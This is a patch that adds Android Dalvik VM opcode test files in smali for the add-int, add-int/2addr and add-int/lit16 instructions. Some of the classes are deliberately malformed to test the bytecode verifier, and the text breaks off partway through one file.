+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int v0, v2, v0
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali
new file mode 100644
index 0000000..d8001ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_3.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int v0, v0, v3
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali
new file mode 100644
index 0000000..d35bb7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_4.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v1, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali
new file mode 100644
index 0000000..c6ef531
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_5.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       add-int v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali
new file mode 100644
index 0000000..df371ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_6.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v2, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali
new file mode 100644
index 0000000..59fb008
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali
new file mode 100644
index 0000000..6e12424
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/2addr v2, v0
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali
new file mode 100644
index 0000000..26d6e94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/2addr v0, v3
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali
new file mode 100644
index 0000000..dc2277e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v1, v3
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali
new file mode 100644
index 0000000..94914c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       add-int/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali
new file mode 100644
index 0000000..a208ba7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_int_2addr/d/T_add_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/2addr v2, v4
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali
new file mode 100644
index 0000000..dc7d79f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 8
+       add-int/lit16 v0, v1, 4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali
new file mode 100644
index 0000000..f264919
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali
new file mode 100644
index 0000000..229b4a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali
new file mode 100644
index 0000000..3c72454
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -32768
+       add-int/lit16 v0, v1, -32768
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali
new file mode 100644
index 0000000..096b321
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/lit16 v0, v0, 1
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali
new file mode 100644
index 0000000..4577a94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_14.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/lit16 v0, v0, 1
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali
new file mode 100644
index 0000000..79b17a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_15.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali
new file mode 100644
index 0000000..ec1fc1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_16.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       add-int/lit16 v0, v3, 123
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali
new file mode 100644
index 0000000..e6cf84e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_17.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit16 v0, v4, 1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali
new file mode 100644
index 0000000..c0962a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 255
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali
new file mode 100644
index 0000000..72b316c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, -32768
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali
new file mode 100644
index 0000000..7a58956
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483647
+       add-int/lit16 v0, v1, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali
new file mode 100644
index 0000000..faa40c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
